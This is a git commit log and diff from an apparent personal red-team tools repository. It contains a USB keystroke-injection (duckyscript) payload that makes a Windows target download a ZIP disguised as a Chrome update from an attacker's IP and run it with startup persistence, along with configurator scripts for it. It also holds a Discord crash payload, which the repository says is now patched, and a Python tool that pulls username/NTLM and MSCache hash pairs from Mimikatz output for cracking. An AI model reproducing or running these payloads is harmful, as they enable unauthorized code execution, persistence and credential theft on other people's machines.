15 Commits

Author SHA1 Message Date
0xvoodoo 25b5d1a0af Update README.md
:)
2026-05-05 23:38:25 +00:00
0xVoodoo fd06885fe5 Merge pull request #6 from 0xVoodoo/katz2
Creation of Katz^2
2025-02-21 18:47:44 -07:00
Fr3ki c16d55fd32 Creation of Katz^2 2025-02-21 18:46:48 -07:00
Fr3ki a7195c8a87 Merge pull request #5 from Fr3ki/Goose_DropperV2.1
Goose Dropper V2.1
2025-01-31 13:04:06 -07:00
Fr3ki 3ab048e6bc Goose Dropper V2.1 2025-01-31 13:02:19 -07:00
Fr3ki 91596a736f Merge pull request #4 from Fr3ki/KD-Readme
Reflect non-functionality
2024-10-23 22:17:19 -06:00
Fr3ki 5b98f47875 Reflect non-functionality
The "exploit" used in the "Kill Discord" duckyscript is now long-since patched, making this script non-functional.
2024-10-23 22:16:42 -06:00
Malachi 352b4740f4 Merge pull request #3 from Fr3ki/Kill_Discord
Added Kill_Discord
2024-04-13 15:17:30 -06:00
Fr3ki b13c5e1f38 Added Kill_Discord 2024-04-13 15:11:27 -06:00
Malachi 59f3b78222 Fix syntax 2023-10-31 16:49:21 -06:00
Malachi c3e806b725 Merge pull request #2 from Fr3ki/v2.0_bugfix_1
V2.0 bugfix 1
2023-10-31 16:35:08 -06:00
Fr3ki 578fb6b512 Fix bug with URLs and add option to bypass the ZIP folder creation 2023-10-31 16:33:00 -06:00
Fr3ki 9791e1b886 Fix bug with URLs and add option to bypass the ZIP folder creation 2023-10-31 16:29:20 -06:00
Malachi a89dc0a98c Update README.md 2023-10-31 15:48:05 -06:00
Malachi 6988348297 Merge pull request #1 from Fr3ki/GooseDropper_V2.0
Goose dropper v2.0
2023-10-31 15:46:47 -06:00
9 changed files with 162 additions and 85 deletions
+1 -1
View File
@@ -4,7 +4,7 @@ REM DESCRIPTION Grab the Desktop Goose executable from an attacker machine and r
DELAY 500
GUI r
DELAY 500
STRING powershell wget YOUR_IP:1337/Chrome_Update.zip -OutFile $ENV:Temp/Update.zip
STRING powershell wget YOUR_IP/ZIP -OutFile $ENV:Temp/Update.zip
ENTER
DELAY 8000
GUI r
+9 -17
View File
@@ -2,23 +2,6 @@
This is a duckyscript originally designed for Flipper-Zero to drop Desktop Goose (by Samperson) on a Windows PC. **NOW WITH PERSISTENCE**
------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------
Currently there is no auto-configurator for Windows but it's in the works. Steps to configure manually:
1) Replace the YOUR_IP value in GooseDropper.txt with your IP.
2) Download Desktop Goose and extract it, rename the 'DesktopGoose v.031' folder from inside the zip to Update.
3) Copy PersistentGoose.ps1 into the newly renamed Update folder.
4) Re-ZIP the Update directory and name it Chrome_Updater.
5) Start some form of simple webserver/fileshare on port 1337 (or change the port to reflect your choice).
6) Copy to your Flipper or Rubber-Ducky and PWN!
--------------------------------------------------------------------------------------------------------------
**Important Notes:**
@@ -28,6 +11,15 @@ Ensure configuration is run while on the same network as your target, re-configu
All credit goes to Samperson for the development of Desktop Goose: https://itch.io/profile/samperson | https://twitter.com/samnchiet
**=== v2.0 Notes ==**
Added persistence via a PowerShell script that makes a shortcut in the startup folder.
Revamped updater with more options and better dialogue.
Bugfixes to ensure payloads get delivered successfully.
**=== v2.1 Notes ==**
Simplified configurators to remove unnecessary complexity
Added Windows auto-configuration tool.
+13 -64
View File
@@ -1,82 +1,31 @@
#!/bin/bash
#Determine the source of the DesktopGoose download
echo "1) Local Webserver | 2) Persistant URL"
IP=$1
ZIP=$2
PERSIST=$3
read -p "Select a download source [1/2]: " DL
if [ "${DL}" == "1" ];
#Ensure required arguments are not empty
if [ "${IP}" == "" ] | [ "${ZIP}" == "" ];
then
echo "Grabbing your IP"
#Grab your local IP to add to the payload
SRC="$(ip route show | grep default | cut -d ' ' -f 9)"
#Add your IP to the payload
sed -i "s/YOUR_IP/$SRC/" GooseDropper.txt
sleep 5s && clear
elif [ "${DL}" == "2" ];
then
#Get your URL
read -p "Enter your URL: " SRC
#Add your URL to the payload
sed -i "s/powershell wget YOUR_IP:1337\/Chrome_Update.zip -OutFile \$ENV:Temp\/Updater.zip/powershell \"wget \'$SRC\' -OutFile \$ENV:Temp\/Updater.zip\"/" GooseDropper.txt
#Remind users to have the zip ready
echo "Please ensure a ZIP file with proper contents and formatting is hosted at the provided URL"
sleep 5s && clear
else
echo "Please enter a valid selection"
echo "Usage: sh linux_setup.sh <IP_Address/URL> <path_to_desktop_goose.zip> <persist y/n>"
exit
fi
#Check if Desktop Goose is present in this directory
GOOSE="$(ls | grep 'Desktop Goose v0.31.zip')"
if [ "${GOOSE}" == "" ];
#Check for help command
if [ "${IP,,}" == "-h" ] | [ "${IP,,}" == "help" ];
then
echo "Desktop Goose is not present in this directory, download it, or move it here"
echo "Usage: sh linux_setup.sh <IP_Address/URL> <path_to_desktop_goose.zip> <persist y/n>"
exit
else
unzip "Desktop Goose v0.31.zip"
mv "Desktop Goose v0.31/DesktopGoose v0.31" Update
mv PersistentGoose.ps1 Update/
zip -r Chrome_Update.zip Update
rm -rf "Desktop Goose v0.31"* Update
clear
fi
read -p "Configure Persistence? [Y/N]: " PERSIST
#Replace placeholders with provided values
sed -i "s/YOUR_IP/$IP/" GooseDropper.txt
sed -i "s/ZIP/$ZIP/" GooseDropper.txt
#Remove persistance if desired
if [ "${PERSIST,,}" == "n" ];
then
sed -i "15d;16d;17d;18d;19d" GooseDropper.txt
else
break
fi
if [ "${DL}" == "1" ];
then
clear
read -p "Configuration finished! Start python webserver now? [Y/N]: " START
clear
else
clear
break
fi
if [ "${START,,}" == "y" ];
then
echo "Starting Server... Happy PWNing! (don't be a skid)"
python3 -m http.server 1337 && echo "PWNED!"
else
clear
echo "Finished... Happy PWNing! (don't be a skid)!"
fi
@@ -0,0 +1,30 @@
param (
[string]$HELP,
[string]$IP,
[string]$ZIP,
[string]$PERSIST
)
# Ensure required arguments are not empty
if (-not $IP -or -not $ZIP) {
Write-Host "Usage: .\windows_setup.ps1 <IP_Address/URL> <path_to_desktop_goose.zip> <persist y/n>"
exit
}
# Check for help command
if ($HELP) {
Write-Host "Usage: .\windows_setup.ps1 <IP_Address/URL> <path_to_desktop_goose.zip> <persist y/n>"
exit
}
# Replace placeholders with provided values
(Get-Content "GooseDropper.txt") | ForEach-Object { $_ -replace 'YOUR_IP', $IP -replace 'ZIP', $ZIP } | Set-Content "GooseDropper.txt"
# Remove persistence if desired
if ($PERSIST.ToLower() -eq "n") {
$lines = Get-Content "GooseDropper.txt"
$lines = $lines[0..14] + $lines[19..($lines.Length - 1)]
Set-Content "GooseDropper.txt" $lines
} else {
break
}
+12
View File
@@ -0,0 +1,12 @@
# This specific "Exploit" has been patched and is no-longer usable.
---
Kill_Discord is a duckyscript that does exactly what the name implies.
As of April 2024 the string "http://./\<#0>: ://./<#0>" without the quotes will crash your Discord client when pasted into any message box.
This script opens Discord on the target machine and pastes that string into the first available text box.
Just to reitterate this crashes the Discord client of the SENDER, hence the need for a duckyscript.
As always, don't be a skid, and only use these scripts on devices which you are expresely authorized to use them on. I am not liable for any unauthorized usage or damage caused by the usage of this tool.
@@ -0,0 +1,12 @@
DELAY 500
GUI r
DELAY 500
STRING C:\ProgramData\%USERNAME%\Discord\Update.exe --processStart Discord.exe
DELAY 500
ENTER
DELAY 2000
CTRL k
DELAY 100
ENTER
DELAY 500
STRING http://./\<#0>: ://./<#0>
+1 -1
View File
@@ -1,6 +1,6 @@
# Misadventures
This is a set of Red and Purple team tools I've developed, mostly just for fun, but some may find them useful.
Feel free to leave tips, comments, or suggestion in the comments, on my website at https://fr3ki.xyz or my twitter @Fr3ki_
Feel free to leave tips, comments, or suggestion in the comments, on my website at https://0xVoodoo.sh
Licence: https://www.gnu.org/licenses/gpl-3.0.html
+14
View File
@@ -0,0 +1,14 @@
# Katz^2
Katz Squared is a small python parser for Mimikatz log files, allowing for username/hash combos to be written to txt files, ready for use with Hashcat (you get the joke yet?) or John.
---
Usage: `katz2.py [-h] -f/--file -m/--mode`
-
**Modes:**
- logonpasswords - Used for files containing the output of the mimikatz module of the same name.
- cache -- Used for files containing the output of the lsadump::cache mimikatz module
---
**License:**
GPLv3 as all good software should be.
+68
View File
@@ -0,0 +1,68 @@
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("-f", "--file", help="Mimikatz output file", required=True)
parser.add_argument("-m", "--mode", help="Mimikatz mode used to obtain the output logonpasswords|cache", required=True)
args = parser.parse_args()
def dump(creds):
if isinstance(creds, list) and len(creds) >= 2:
username = creds[0]
hsh = creds[1]
dumpfile = username+".txt"
with open(dumpfile, "w+") as df:
df.write(hsh)
else:
pass
def sekurlsa():
filename = args.file
creds = []
with open(filename) as f:
for line in f:
if "authentication" in line.lower():
dump(creds)
creds = []
elif "username" in line.lower():
username = line.split(":")[1].strip()
if username.lower() in creds or username.lower() == "(null)":
pass
else:
creds.append(username.lower())
elif "ntlm" in line.lower():
ntlm = line.strip().split(":")[1].strip()
if ntlm in creds:
pass
else:
creds.append(ntlm)
def cache():
filename = args.file
creds = []
with open(filename) as f:
for line in f:
if "nl$" in line.lower():
print(creds)
dump(creds)
creds = []
elif "user" in line.lower():
username = line.split(":")[1].strip()
if username.lower() in creds or username.lower() == "(null)":
pass
else:
creds.append(username.lower())
elif "mscachev2" in line.lower():
mscache = line.strip().split(":")[1].strip()
if mscache in creds:
pass
else:
creds.append(mscache)
print("[+] Credential pairs written to disk")
if __name__ == "__main__":
match args.mode:
case "logonpasswords":
sekurlsa()
case "cache":
cache()